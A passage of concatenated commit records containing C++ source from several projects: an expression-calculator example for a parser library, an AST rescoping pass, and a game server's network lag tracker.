\"comma\"},\n\t{std::regex{R\"(\\d+(\\.\\d+)?(e-?\\d+)?)\"}, \"number\"},\n\t{std::regex{R\"([A-Za-z_]\\w*)\"}, \"identifier\"},\n\t{std::regex{R\"(\\s+)\"}, \"whitespace\"}\n};\nconst auto lexemes_exceptions = lexer::type_group{\"whitespace\"};\n\/\/ precision is taken from Boost 1.70.0, Math Toolkit 2.9.0\nconst auto constants = std::unordered_map<std::string, double>{\n\t{\"pi\", 3.141592653589793238462643383279502884},\n\t{\"e\", 2.718281828459045235360287471352662497}\n};\nconst auto functions = std::unordered_map<std::string, function>{\n\t{\"+\", {2, [] (const auto& args) { return args[0] + args[1]; }}},\n\t{\"-\", {2, [] (const auto& args) { return args[0] - args[1]; }}},\n\t{\"*\", {2, [] (const auto& args) { return args[0] * args[1]; }}},\n\t{\"\/\", {2, [] (const auto& args) { return args[0] \/ args[1]; }}},\n\t{\"%\", {2, [] (const auto& args) { return std::fmod(args[0], args[1]); }}},\n\t{\"floor\", {1, [] (const auto& args) { return std::floor(args[0]); }}},\n\t{\"ceil\", {1, [] (const auto& args) { return std::ceil(args[0]); }}},\n\t{\"trunc\", {1, [] (const auto& args) { return std::trunc(args[0]); }}},\n\t{\"round\", {1, [] (const auto& args) { return std::round(args[0]); }}},\n\t{\"sin\", {1, [] (const auto& args) { return std::sin(args[0]); }}},\n\t{\"cos\", {1, [] (const auto& args) { return std::cos(args[0]); }}},\n\t{\"tn\", {1, [] (const auto& args) { return std::tan(args[0]); }}},\n\t{\"arcsin\", {1, [] (const auto& args) { return std::asin(args[0]); }}},\n\t{\"arccos\", {1, [] (const auto& args) { return std::acos(args[0]); }}},\n\t{\"arctn\", {1, [] (const auto& args) { return std::atan(args[0]); }}},\n\t{\"angle\", {2, [] (const auto& args) { return std::atan2(args[1], args[0]); }}},\n\t{\"pow\", {2, [] (const auto& args) { return std::pow(args[0], args[1]); }}},\n\t{\"sqrt\", {1, [] (const auto& args) { return std::sqrt(args[0]); }}},\n\t{\"exp\", {1, [] (const auto& args) { return std::exp(args[0]); }}},\n\t{\"ln\", {1, [] (const auto& args) { return std::log(args[0]); }}},\n\t{\"lg\", {1, [] (const auto& args) { return std::log10(args[0]); }}},\n\t{\"abs\", {1, [] (const auto& args) { return std::abs(args[0]); }}},\n};\n\ntemplate<typename streamable>\nvoid exit(const int& code, const streamable& message) {\n\t(code == EXIT_SUCCESS ? std::cout : std::cerr) << message << '\\n';\n\tstd::exit(code);\n}\n\nparser::rule_parser::pointer make_parser() {\n\tconst auto expression_dummy = parser::dummy();\n\tRULE(function_call) = \"identifier\"_t >> &\"(\"_v >>\n\t\t-(expression_dummy % &\",\"_v)\n\t>> &\")\"_v;\n\tRULE(atom) = \"number\"_t\n\t\t| function_call\n\t\t| \"identifier\"_t\n\t\t| (&\"(\"_v >> expression_dummy >> &\")\"_v);\n\tRULE(unary) = *(\"-\"_v) >> atom;\n\tRULE(product) = unary % (\"*\"_v | \"\/\"_v | \"%\"_v);\n\tRULE(sum) = product % (\"+\"_v | \"-\"_v);\n\texpression_dummy->set_parser(sum);\n\n\treturn sum;\n}\n\ndouble evaluate_ast_node(\n\tconst parser::ast_node& ast,\n\tconst std::unordered_map<std::string, double>& constants,\n\tconst std::unordered_map<std::string, function>& functions\n) {\n\tconst auto inspect_sequence = [] (const auto& ast) -> const auto& {\n\t\treturn ast.children[0].children;\n\t};\n\tconst auto evaluate_with_context = [&] (const auto& ast) {\n\t\treturn evaluate_ast_node(ast, constants, functions);\n\t};\n\n\tif (ast.type == \"number\") {\n\t\treturn std::stod(ast.value, nullptr);\n\t} else if (ast.type == \"identifier\") {\n\t\ttry {\n\t\t\treturn constants.at(ast.value);\n\t\t} catch (const std::out_of_range& exception) {\n\t\t\tconst auto offset = parser::get_offset(ast);\n\t\t\tthrow unexpected_entity_exception<entity_type::constant>{offset};\n\t\t}\n\t} else if (ast.type == \"atom\") {\n\t\tconst auto type = (+parser::ast_node_type::sequence)._to_string();\n\t\tconst auto first_child = ast.children[0].type == type\n\t\t\t? inspect_sequence(ast)[0]\n\t\t\t: ast.children[0];\n\t\treturn evaluate_with_context(first_child);\n\t} else if (ast.type == \"unary\") {\n\t\tconst auto result = evaluate_with_context(inspect_sequence(ast).back());\n\t\tconst auto sign = (inspect_sequence(ast).size() - 1) % 2 ? -1 : 1;\n\t\treturn sign * result;\n\t} else if (ast.type == \"function_call\") {\n\t\ttry {\n\t\t\tconst auto name = inspect_sequence(ast)[0].value;\n\t\t\tconst auto arguments = inspect_sequence(ast)\n\t\t\t\t| ranges::view::drop(1)\n\t\t\t\t| ranges::view::transform([&] (const auto& ast) {\n\t\t\t\t\treturn evaluate_with_context(ast);\n\t\t\t\t});\n\t\t\tconst auto function = functions.at(name);\n\t\t\tif (arguments.size() != function.arity) {\n\t\t\t\tconst auto unit = function.arity == 1 ? \"argument\" : \"arguments\";\n\t\t\t\tconst auto description =\n\t\t\t\t\tfmt::format(\"function requires {:d} {:s}\", function.arity, unit);\n\t\t\t\tconst auto offset = parser::get_offset(ast);\n\t\t\t\tthrow exceptions::positional_exception{description, offset};\n\t\t\t}\n\n\t\t\treturn function.handler(arguments);\n\t\t} catch (const std::out_of_range& exception) {\n\t\t\tconst auto offset = parser::get_offset(ast);\n\t\t\tthrow unexpected_entity_exception<entity_type::function>{offset};\n\t\t}\n\t} else if (ast.type == \"product\" || ast.type == \"sum\") {\n\t\tconst auto first_operand = evaluate_with_context(inspect_sequence(ast)[0]);\n\t\tconst auto children_chunks = inspect_sequence(ast)\n\t\t\t| ranges::view::drop(1)\n\t\t\t| ranges::view::chunk(2)\n\t\t\t| ranges::view::transform([] (const auto& chunk) {\n\t\t\t\treturn chunk | ranges::to_<parser::ast_node_group>();\n\t\t\t});\n\t\treturn ranges::accumulate(\n\t\t\tchildren_chunks,\n\t\t\tfirst_operand,\n\t\t\t[&] (const auto& result, const auto& chunk) {\n\t\t\t\tconst auto name = chunk[0].value;\n\t\t\t\tconst auto second_operand = evaluate_with_context(chunk[1]);\n\t\t\t\treturn functions.at(name).handler({result, second_operand});\n\t\t\t}\n\t\t);\n\t} else {\n\t\tconst auto offset = parser::get_offset(ast);\n\t\tthrow unexpected_entity_exception<entity_type::node>{offset};\n\t}\n}\n\nstd::runtime_error enrich_exception(\n\tconst exceptions::positional_exception& exception,\n\tconst std::string_view& code,\n\tconst std::size_t& mark_length\n) {\n\tconst auto mark_offset = std::string(exception.offset, ' ');\n\tconst auto mark = std::string(mark_length, '^');\n\treturn std::runtime_error{fmt::format(\n\t\t\"{:s}\\n| \\\"{:s}\\\"\\n|  {:s}{:s}\",\n\t\texception.what(),\n\t\tcode,\n\t\tmark_offset,\n\t\tmark\n\t)};\n}\n\nint main(int argc, char* argv[]) try {\n\tconst auto options = docopt::docopt(usage, {argv+1, argv+argc}, true);\n\tconst auto expression = options.at(\"<expression>\")\n\t\t? options.at(\"<expression>\").asString()\n\t\t: \"\";\n\tconst auto code = options.at(\"--stdin\").asBool()\n\t\t? std::string{std::istreambuf_iterator<char>{std::cin}, {}}\n\t\t: expression;\n\tconst auto enrich = options.at(\"--verbose\").asBool()\n\t\t? std::function{enrich_exception}\n\t\t: [] (\n\t\t\tconst exceptions::positional_exception& exception,\n\t\t\tconst std::string_view& code,\n\t\t\tconst std::size_t& mark_length\n\t\t) { return exception; };\n\ttry {\n\t\tauto tokens = lexer::tokenize_all(lexemes, lexemes_exceptions, code);\n\t\tif (options.at(\"--target\") == \"tokens\"s) {\n\t\t\texit(EXIT_SUCCESS, tokens);\n\t\t}\n\n\t\tconst auto eoi = exceptions::entity_type::eoi;\n\t\ttry {\n\t\t\tconst auto ast = parser::parse_all(make_parser(), tokens);\n\t\t\tif (options.at(\"--target\") == \"cst\"s) {\n\t\t\t\texit(EXIT_SUCCESS, ast);\n\t\t\t}\n\n\t\t\tauto buffer = std::ostringstream{};\n\t\t\tconst auto precision = options.at(\"--precision\")\n\t\t\t\t? options.at(\"--precision\").asLong()\n\t\t\t\t: std::numeric_limits<double>::max_digits10;\n\t\t\tconst auto result = evaluate_ast_node(ast, constants, functions);\n\t\t\tbuffer << std::setprecision(precision) << result;\n\n\t\t\texit(EXIT_SUCCESS, buffer.str());\n\t\t} catch (const exceptions::unexpected_entity_exception<eoi>& exception) {\n\t\t\tconst auto offset = exception.offset == utilities::integral_infinity\n\t\t\t\t? code.size()\n\t\t\t\t: exception.offset;\n\t\t\tthrow exceptions::unexpected_entity_exception<eoi>{offset};\n\t\t} catch (const exceptions::positional_exception& exception) {\n\t\t\tconst auto token = ranges::find_if(tokens, [&] (const auto& token) {\n\t\t\t\treturn token.offset == exception.offset;\n\t\t\t});\n\t\t\tthrow enrich(exception, code, token->value.size());\n\t\t}\n\t} catch (const exceptions::positional_exception& exception) {\n\t\tthrow enrich(exception, code, 1);\n\t}\n} catch (const std::exception& exception) {\n\texit(EXIT_FAILURE, fmt::format(\"error: {:s}\", exception.what()));\n}\n<commit_msg>Unifying header for all parsers: use it in the example<commit_after>#define THEWIZARDPLUSPLUS_WIZARD_PARSER_PARSER_MACROSES\n\n#include \"vendor\/better-enums\/enum_strict.hpp\"\n#include \"vendor\/range\/v3\/view\/drop.hpp\"\n#include \"vendor\/range\/v3\/view\/transform.hpp\"\n#include \"vendor\/fmt\/format.hpp\"\n#include \"vendor\/range\/v3\/view\/chunk.hpp\"\n#include \"vendor\/range\/v3\/to_container.hpp\"\n#include \"vendor\/range\/v3\/numeric\/accumulate.hpp\"\n#include \"vendor\/docopt\/docopt.hpp\"\n#include \"vendor\/range\/v3\/algorithm\/find_if.hpp\"\n#include <thewizardplusplus\/wizard_parser\/exceptions\/unexpected_entity_exception.hpp>\n#include <thewizardplusplus\/wizard_parser\/lexer\/lexeme.hpp>\n#include <thewizardplusplus\/wizard_parser\/lexer\/tokenize.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/rule_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/parsers.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/ast_node.hpp>\n#include <thewizardplusplus\/wizard_parser\/exceptions\/positional_exception.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/parse.hpp>\n#include <thewizardplusplus\/wizard_parser\/utilities\/utilities.hpp>\n#include <cstddef>\n#include <functional>\n#include <vector>\n#include <cstdint>\n#include <regex>\n#include <unordered_map>\n#include <string>\n#include <cstdlib>\n#include <iostream>\n#include <stdexcept>\n#include <string_view>\n#include <iterator>\n#include <sstream>\n#include <limits>\n#include <iomanip>\n#include <exception>\n\nusing namespace thewizardplusplus::wizard_parser;\nusing namespace thewizardplusplus::wizard_parser::parser::operators;\nusing namespace std::literals::string_literals;\n\nstruct function final {\n\tconst std::size_t arity;\n\tconst std::function<double(const std::vector<double>&)> handler;\n};\n\nBETTER_ENUM(entity_type, std::uint8_t,\n\tnode = exceptions::entity_type::_size(),\n\tconstant,\n\tfunction\n)\n\ntemplate<entity_type::_integral type>\nusing unexpected_entity_exception =\n\texceptions::base_unexpected_entity_exception<entity_type, type>;\n\nconst auto usage =\nR\"(Usage:\n  .\/example [options] [--] [<expression>]\n\nOptions:\n  -h, --help                           - show this message;\n  -t TARGET, --target TARGET           - preliminary target of processing\n                                       (allowed: tokens, cst);\n  -p PRECISION, --precision PRECISION  - precision of a result;\n  -s, --stdin                          - read an expression from stdin;\n  -V, --verbose                        - mark an error.)\";\nconst auto lexemes = lexer::lexeme_group{\n\t{std::regex{R\"(\\+)\"}, \"plus\"},\n\t{std::regex{R\"(-)\"}, \"minus\"},\n\t{std::regex{R\"(\\*)\"}, \"star\"},\n\t{std::regex{R\"(\/)\"}, \"slash\"},\n\t{std::regex{R\"(%)\"}, \"percent\"},\n\t{std::regex{R\"(\\()\"}, \"opening_parenthesis\"},\n\t{std::regex{R\"(\\))\"}, \"closing_parenthesis\"},\n\t{std::regex{R\"(,)\"}, \"comma\"},\n\t{std::regex{R\"(\\d+(\\.\\d+)?(e-?\\d+)?)\"}, \"number\"},\n\t{std::regex{R\"([A-Za-z_]\\w*)\"}, \"identifier\"},\n\t{std::regex{R\"(\\s+)\"}, \"whitespace\"}\n};\nconst auto lexemes_exceptions = lexer::type_group{\"whitespace\"};\n\/\/ precision is taken from Boost 1.70.0, Math Toolkit 2.9.0\nconst auto constants = std::unordered_map<std::string, double>{\n\t{\"pi\", 3.141592653589793238462643383279502884},\n\t{\"e\", 2.718281828459045235360287471352662497}\n};\nconst auto functions = std::unordered_map<std::string, function>{\n\t{\"+\", {2, [] (const auto& args) { return args[0] + args[1]; }}},\n\t{\"-\", {2, [] (const auto& args) { return args[0] - args[1]; }}},\n\t{\"*\", {2, [] (const auto& args) { return args[0] * args[1]; }}},\n\t{\"\/\", {2, [] (const auto& args) { return args[0] \/ args[1]; }}},\n\t{\"%\", {2, [] (const auto& args) { return std::fmod(args[0], args[1]); }}},\n\t{\"floor\", {1, [] (const auto& args) { return std::floor(args[0]); }}},\n\t{\"ceil\", {1, [] (const auto& args) { return std::ceil(args[0]); }}},\n\t{\"trunc\", {1, [] (const auto& args) { return std::trunc(args[0]); }}},\n\t{\"round\", {1, [] (const auto& args) { return std::round(args[0]); }}},\n\t{\"sin\", {1, [] (const auto& args) { return std::sin(args[0]); }}},\n\t{\"cos\", {1, [] (const auto& args) { return std::cos(args[0]); }}},\n\t{\"tn\", {1, [] (const auto& args) { return std::tan(args[0]); }}},\n\t{\"arcsin\", {1, [] (const auto& args) { return std::asin(args[0]); }}},\n\t{\"arccos\", {1, [] (const auto& args) { return std::acos(args[0]); }}},\n\t{\"arctn\", {1, [] (const auto& args) { return std::atan(args[0]); }}},\n\t{\"angle\", {2, [] (const auto& args) { return std::atan2(args[1], args[0]); }}},\n\t{\"pow\", {2, [] (const auto& args) { return std::pow(args[0], args[1]); }}},\n\t{\"sqrt\", {1, [] (const auto& args) { return std::sqrt(args[0]); }}},\n\t{\"exp\", {1, [] (const auto& args) { return std::exp(args[0]); }}},\n\t{\"ln\", {1, [] (const auto& args) { return std::log(args[0]); }}},\n\t{\"lg\", {1, [] (const auto& args) { return std::log10(args[0]); }}},\n\t{\"abs\", {1, [] (const auto& args) { return std::abs(args[0]); }}},\n};\n\ntemplate<typename streamable>\nvoid exit(const int& code, const streamable& message) {\n\t(code == EXIT_SUCCESS ? std::cout : std::cerr) << message << '\\n';\n\tstd::exit(code);\n}\n\nparser::rule_parser::pointer make_parser() {\n\tconst auto expression_dummy = parser::dummy();\n\tRULE(function_call) = \"identifier\"_t >> &\"(\"_v >>\n\t\t-(expression_dummy % &\",\"_v)\n\t>> &\")\"_v;\n\tRULE(atom) = \"number\"_t\n\t\t| function_call\n\t\t| \"identifier\"_t\n\t\t| (&\"(\"_v >> expression_dummy >> &\")\"_v);\n\tRULE(unary) = *(\"-\"_v) >> atom;\n\tRULE(product) = unary % (\"*\"_v | \"\/\"_v | \"%\"_v);\n\tRULE(sum) = product % (\"+\"_v | \"-\"_v);\n\texpression_dummy->set_parser(sum);\n\n\treturn sum;\n}\n\ndouble evaluate_ast_node(\n\tconst parser::ast_node& ast,\n\tconst std::unordered_map<std::string, double>& constants,\n\tconst std::unordered_map<std::string, function>& functions\n) {\n\tconst auto inspect_sequence = [] (const auto& ast) -> const auto& {\n\t\treturn ast.children[0].children;\n\t};\n\tconst auto evaluate_with_context = [&] (const auto& ast) {\n\t\treturn evaluate_ast_node(ast, constants, functions);\n\t};\n\n\tif (ast.type == \"number\") {\n\t\treturn std::stod(ast.value, nullptr);\n\t} else if (ast.type == \"identifier\") {\n\t\ttry {\n\t\t\treturn constants.at(ast.value);\n\t\t} catch (const std::out_of_range& exception) {\n\t\t\tconst auto offset = parser::get_offset(ast);\n\t\t\tthrow unexpected_entity_exception<entity_type::constant>{offset};\n\t\t}\n\t} else if (ast.type == \"atom\") {\n\t\tconst auto type = (+parser::ast_node_type::sequence)._to_string();\n\t\tconst auto first_child = ast.children[0].type == type\n\t\t\t? inspect_sequence(ast)[0]\n\t\t\t: ast.children[0];\n\t\treturn evaluate_with_context(first_child);\n\t} else if (ast.type == \"unary\") {\n\t\tconst auto result = evaluate_with_context(inspect_sequence(ast).back());\n\t\tconst auto sign = (inspect_sequence(ast).size() - 1) % 2 ? -1 : 1;\n\t\treturn sign * result;\n\t} else if (ast.type == \"function_call\") {\n\t\ttry {\n\t\t\tconst auto name = inspect_sequence(ast)[0].value;\n\t\t\tconst auto arguments = inspect_sequence(ast)\n\t\t\t\t| ranges::view::drop(1)\n\t\t\t\t| ranges::view::transform([&] (const auto& ast) {\n\t\t\t\t\treturn evaluate_with_context(ast);\n\t\t\t\t});\n\t\t\tconst auto function = functions.at(name);\n\t\t\tif (arguments.size() != function.arity) {\n\t\t\t\tconst auto unit = function.arity == 1 ? \"argument\" : \"arguments\";\n\t\t\t\tconst auto description =\n\t\t\t\t\tfmt::format(\"function requires {:d} {:s}\", function.arity, unit);\n\t\t\t\tconst auto offset = parser::get_offset(ast);\n\t\t\t\tthrow exceptions::positional_exception{description, offset};\n\t\t\t}\n\n\t\t\treturn function.handler(arguments);\n\t\t} catch (const std::out_of_range& exception) {\n\t\t\tconst auto offset = parser::get_offset(ast);\n\t\t\tthrow unexpected_entity_exception<entity_type::function>{offset};\n\t\t}\n\t} else if (ast.type == \"product\" || ast.type == \"sum\") {\n\t\tconst auto first_operand = evaluate_with_context(inspect_sequence(ast)[0]);\n\t\tconst auto children_chunks = inspect_sequence(ast)\n\t\t\t| ranges::view::drop(1)\n\t\t\t| ranges::view::chunk(2)\n\t\t\t| ranges::view::transform([] (const auto& chunk) {\n\t\t\t\treturn chunk | ranges::to_<parser::ast_node_group>();\n\t\t\t});\n\t\treturn ranges::accumulate(\n\t\t\tchildren_chunks,\n\t\t\tfirst_operand,\n\t\t\t[&] (const auto& result, const auto& chunk) {\n\t\t\t\tconst auto name = chunk[0].value;\n\t\t\t\tconst auto second_operand = evaluate_with_context(chunk[1]);\n\t\t\t\treturn functions.at(name).handler({result, second_operand});\n\t\t\t}\n\t\t);\n\t} else {\n\t\tconst auto offset = parser::get_offset(ast);\n\t\tthrow unexpected_entity_exception<entity_type::node>{offset};\n\t}\n}\n\nstd::runtime_error enrich_exception(\n\tconst exceptions::positional_exception& exception,\n\tconst std::string_view& code,\n\tconst std::size_t& mark_length\n) {\n\tconst auto mark_offset = std::string(exception.offset, ' ');\n\tconst auto mark = std::string(mark_length, '^');\n\treturn std::runtime_error{fmt::format(\n\t\t\"{:s}\\n| \\\"{:s}\\\"\\n|  {:s}{:s}\",\n\t\texception.what(),\n\t\tcode,\n\t\tmark_offset,\n\t\tmark\n\t)};\n}\n\nint main(int argc, char* argv[]) try {\n\tconst auto options = docopt::docopt(usage, {argv+1, argv+argc}, true);\n\tconst auto expression = options.at(\"<expression>\")\n\t\t? options.at(\"<expression>\").asString()\n\t\t: \"\";\n\tconst auto code = options.at(\"--stdin\").asBool()\n\t\t? std::string{std::istreambuf_iterator<char>{std::cin}, {}}\n\t\t: expression;\n\tconst auto enrich = options.at(\"--verbose\").asBool()\n\t\t? std::function{enrich_exception}\n\t\t: [] (\n\t\t\tconst exceptions::positional_exception& exception,\n\t\t\tconst std::string_view& code,\n\t\t\tconst std::size_t& mark_length\n\t\t) { return exception; };\n\ttry {\n\t\tauto tokens = lexer::tokenize_all(lexemes, lexemes_exceptions, code);\n\t\tif (options.at(\"--target\") == \"tokens\"s) {\n\t\t\texit(EXIT_SUCCESS, tokens);\n\t\t}\n\n\t\tconst auto eoi = exceptions::entity_type::eoi;\n\t\ttry {\n\t\t\tconst auto ast = parser::parse_all(make_parser(), tokens);\n\t\t\tif (options.at(\"--target\") == \"cst\"s) {\n\t\t\t\texit(EXIT_SUCCESS, ast);\n\t\t\t}\n\n\t\t\tauto buffer = std::ostringstream{};\n\t\t\tconst auto precision = options.at(\"--precision\")\n\t\t\t\t? options.at(\"--precision\").asLong()\n\t\t\t\t: std::numeric_limits<double>::max_digits10;\n\t\t\tconst auto result = evaluate_ast_node(ast, constants, functions);\n\t\t\tbuffer << std::setprecision(precision) << result;\n\n\t\t\texit(EXIT_SUCCESS, buffer.str());\n\t\t} catch (const exceptions::unexpected_entity_exception<eoi>& exception) {\n\t\t\tconst auto offset = exception.offset == utilities::integral_infinity\n\t\t\t\t? code.size()\n\t\t\t\t: exception.offset;\n\t\t\tthrow exceptions::unexpected_entity_exception<eoi>{offset};\n\t\t} catch (const exceptions::positional_exception& exception) {\n\t\t\tconst auto token = ranges::find_if(tokens, [&] (const auto& token) {\n\t\t\t\treturn token.offset == exception.offset;\n\t\t\t});\n\t\t\tthrow enrich(exception, code, token->value.size());\n\t\t}\n\t} catch (const exceptions::positional_exception& exception) {\n\t\tthrow enrich(exception, code, 1);\n\t}\n} catch (const std::exception& exception) {\n\texit(EXIT_FAILURE, fmt::format(\"error: {:s}\", exception.what()));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n ** \\file rewrite\/rescoper.cc\n ** \\brief Implementation of rewrite::Rescoper.\n *\/\n\n#include <ast\/flavor.hh>\n#include <ast\/parametric-ast.hh>\n#include <parser\/ast-factory.hh>\n#include <rewrite\/rescoper.hh>\n\nnamespace rewrite\n{\n\n  \/*----------.\n  | Helpers.  |\n  `----------*\/\n\n  namespace\n  {\n    static\n    ast::rExp\n    make_declaration(const ast::loc& l, libport::Symbol s)\n    {\n      static ast::ParametricAst a(\"nil\");\n      return new ast::Declaration(l, s, exp(a));\n    }\n\n    static\n    ast::rExp\n    make_assignment(const ast::loc& l, libport::Symbol s, ast::rExp value)\n    {\n      return parser::ast_closure(new ast::Assignment(l, s, value, 0));\n    }\n  }\n\n  Rescoper::Rescoper()\n  {}\n\n  Rescoper::~Rescoper()\n  {}\n\n  void Rescoper::visit(ast::rConstAnd a)\n  {\n    ast::rAnd res = new ast::And(a->location_get(), ast::exps_type());\n    foreach (ast::rExp child, a->children_get())\n      \/\/ Wrap every children in a closure\n      res->children_get().push_back(recurse(parser::ast_closure(child)));\n    result_ = res;\n  }\n\n  void\n  Rescoper::visit(ast::rConstNary nary)\n  {\n    ast::rNary res = new ast::Nary(nary->location_get());\n    foreach (ast::rExp child, (nary->children_get()))\n    {\n      ast::rStmt stm = child.unsafe_cast<ast::Stmt>();\n      if (stm && stm->flavor_get() == ast::flavor_comma)\n      {\n        if (ast::rDeclaration dec =\n            stm->expression_get().unsafe_cast<ast::Declaration>())\n        {\n          const ast::loc l = dec->location_get();\n          const libport::Symbol s = dec->what_get();\n          res->push_back(recurse(make_declaration(l, s)),\n                         ast::flavor_semicolon);\n          res->push_back(recurse(make_assignment(l, s, dec->value_get())),\n                         ast::flavor_comma);\n        }\n        else\n          res->push_back(recurse(parser::ast_closure(child)),\n                         ast::flavor_comma);\n      }\n      else\n        res->push_back(recurse(child));\n    }\n    result_ = res;\n  }\n\n}\n<commit_msg>Unscope variables declared as '&' operands.<commit_after>\/**\n ** \\file rewrite\/rescoper.cc\n ** \\brief Implementation of rewrite::Rescoper.\n *\/\n\n#include <ast\/flavor.hh>\n#include <ast\/parametric-ast.hh>\n#include <parser\/ast-factory.hh>\n#include <rewrite\/rescoper.hh>\n\nnamespace rewrite\n{\n\n  \/*----------.\n  | Helpers.  |\n  `----------*\/\n\n  namespace\n  {\n    static\n    ast::rExp\n    make_declaration(const ast::loc& l, libport::Symbol s)\n    {\n      static ast::ParametricAst a(\"nil\");\n      return new ast::Declaration(l, s, exp(a));\n    }\n\n    static\n    ast::rExp\n    make_assignment(const ast::loc& l, libport::Symbol s, ast::rExp value)\n    {\n      return new ast::Assignment(l, s, value, 0);\n    }\n  }\n\n  Rescoper::Rescoper()\n  {}\n\n  Rescoper::~Rescoper()\n  {}\n\n  void Rescoper::visit(ast::rConstAnd a)\n  {\n    ast::loc l = a->location_get();\n    ast::rAnd res = new ast::And(l, ast::exps_type());\n    ast::rNary nary = new ast::Nary(l);\n    foreach (ast::rExp child, a->children_get())\n    {\n      if (ast::rConstDeclaration dec =\n          child.unsafe_cast<const ast::Declaration>())\n      {\n        const libport::Symbol name = dec->what_get();\n        nary->push_back(make_declaration(l, name), ast::flavor_pipe);\n        child = make_assignment(l, name, dec->value_get());\n      }\n      \/\/ Wrap every child in a closure\n      res->children_get().push_back(recurse(parser::ast_closure(child)));\n    }\n\n    nary->push_back(res);\n    result_ = nary;\n  }\n\n  void\n  Rescoper::visit(ast::rConstNary nary)\n  {\n    ast::rNary res = new ast::Nary(nary->location_get());\n    foreach (ast::rExp child, (nary->children_get()))\n    {\n      ast::rStmt stm = child.unsafe_cast<ast::Stmt>();\n      if (stm && stm->flavor_get() == ast::flavor_comma)\n      {\n        if (ast::rDeclaration dec =\n            stm->expression_get().unsafe_cast<ast::Declaration>())\n        {\n          const ast::loc l = dec->location_get();\n          const libport::Symbol s = dec->what_get();\n          res->push_back(recurse(make_declaration(l, s)),\n                         ast::flavor_semicolon);\n          res->push_back(\n            recurse(\n              parser::ast_closure(make_assignment(l, s, dec->value_get()))),\n            ast::flavor_comma);\n        }\n        else\n          res->push_back(recurse(parser::ast_closure(child)),\n                         ast::flavor_comma);\n      }\n      else\n        res->push_back(recurse(child));\n    }\n    result_ = res;\n  }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2005 Tim Riker\n *\n * This package is free software;  you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"LagInfo.h\"\n\nfloat LagInfo::threshold = 0.0;\nfloat LagInfo::max       = 0.0;\n\nLagInfo::LagInfo(PlayerInfo *_info)\n  : info(_info), lagavg(0), jitteravg(0), lostavg(0), lagalpha(1),\n    jitteralpha(1), lostalpha(1), lagcount(0), laglastwarn(0), lagwarncount(0),\n    pingpending(false), pingseqno(0), pingssent(0), lasttimestamp(0.0f) {\n}\n\nvoid LagInfo::reset()\n{\n  nextping       = info->now;\n  nextping      += 10.0;\n  lastupdate     = info->now;\n}\n\nint LagInfo::getLag() const\n{\n  return int(lagavg * 1000);\n}\n\nvoid LagInfo::getLagStats(char* msg) const\n{\n  msg[0] = 0;\n  if (!info->isPlaying() || !info->isHuman())\n    return;\n\n  \/\/ don't wait for ping to come back\n  int lag = int(lagavg * 1000);\n  if (pingpending) {\n    float timepassed = info->now - lastping;\n    int lastLag = int((lagavg * (1 - lagalpha) + lagalpha * timepassed) * 1000);\n    if (lastLag > lag)\n      lag = lastLag;\n  }\n  sprintf(msg,\"%s\\t: %3d +- %2dms\", info->getCallSign(),\n\t  lag, int(jitteravg * 1000));\n  if (lostavg >= 0.01f)\n    sprintf(msg + strlen(msg), \" %d%% lost\/ooo\", int(lostavg * 100));\n}\n\n\/\/ update absolute latency based on LagPing messages\nint LagInfo::updatePingLag(void *buf, bool &warn, bool &kick) {\n  uint16_t _pingseqno;\n  int lag = 0;\n  nboUnpackUShort(buf, _pingseqno);\n  if (pingseqno == _pingseqno) {\n    float timepassed = info->now - lastping;\n    \/\/ time is smoothed exponentially using a dynamic smoothing factor\n    lagavg   = lagavg * (1 - lagalpha) + lagalpha * timepassed;\n    lagalpha = lagalpha \/ (0.9f + lagalpha);\n    lag      = int(lagavg * 1000);\n    lagcount++;\n\n    \/\/ if lag has been good for some time, forget old warnings\n    if (lagavg < threshold && lagcount - laglastwarn >= 20)\n      lagwarncount = 0;\n\n    \/\/ warn players from time to time whose lag is > threshold (-lagwarn)\n    if (!info->isObserver() && (threshold > 0) && lagavg > threshold\n\t&& lagcount - laglastwarn > 2 * lagwarncount) {\n      laglastwarn = lagcount;\n      warn = true;\n      kick = (lagwarncount++ > max);\n    } else {\n      warn = false;\n      kick = false;\n    }\n    lostavg     = lostavg * (1 - lostalpha);\n    lostalpha   = lostalpha \/ (0.99f + lostalpha);\n    pingpending = false;\n  } else {\n    warn = false;\n    kick = false;\n  }\n  return lag;\n}\n\nvoid LagInfo::updateLag(float timestamp, bool ooo) {\n  if (!info->isPlaying())\n    return;\n  if (ooo) {\n    lostavg   = lostavg * (1 - lostalpha) + lostalpha;\n    lostalpha = lostalpha \/ (0.99f + lostalpha);\n  }\n  \/\/ don't calc jitter if more than 2 seconds between packets\n  if (lasttimestamp > 0.0f && timestamp - lasttimestamp < 2.0f) {\n    const float jitter = fabs(info->now - lastupdate\n\t\t\t      - (timestamp - lasttimestamp));\n    \/\/ time is smoothed exponentially using a dynamic smoothing factor\n    jitteravg   = jitteravg * (1 - jitteralpha) + jitteralpha * fabs(jitter);\n    jitteralpha = jitteralpha \/ (0.99f + jitteralpha);\n    lostavg     = lostavg * (1 - lostalpha);\n    lostalpha   = lostalpha \/ (0.99f + lostalpha);\n  }\n  lasttimestamp = timestamp;\n  lastupdate    = info->now;\n}\n\nint LagInfo::getNextPingSeqno(bool &warn, bool &kick) {\n\n  warn = false;\n  kick = false;\n\n  if (!info->isPlaying() || !info->isHuman())\n    return -1;\n\n  if (info->now <= nextping)\n    \/\/ no time for pinging\n    return -1;\n\n  pingseqno = (pingseqno + 1) % 10000;\n  if (pingpending) {\n    \/\/ ping lost\n    lostavg   = lostavg * (1 - lostalpha) + lostalpha;\n    lostalpha = lostalpha \/ (0.99f + lostalpha);\n    if (!info->isObserver() && (threshold > 0)\n\t&& lagcount - laglastwarn > 2 * lagwarncount) {\n      laglastwarn = lagcount;\n      warn = true;\n      kick = (lagwarncount++ > max);\n    }\n  }\n\n  pingpending = 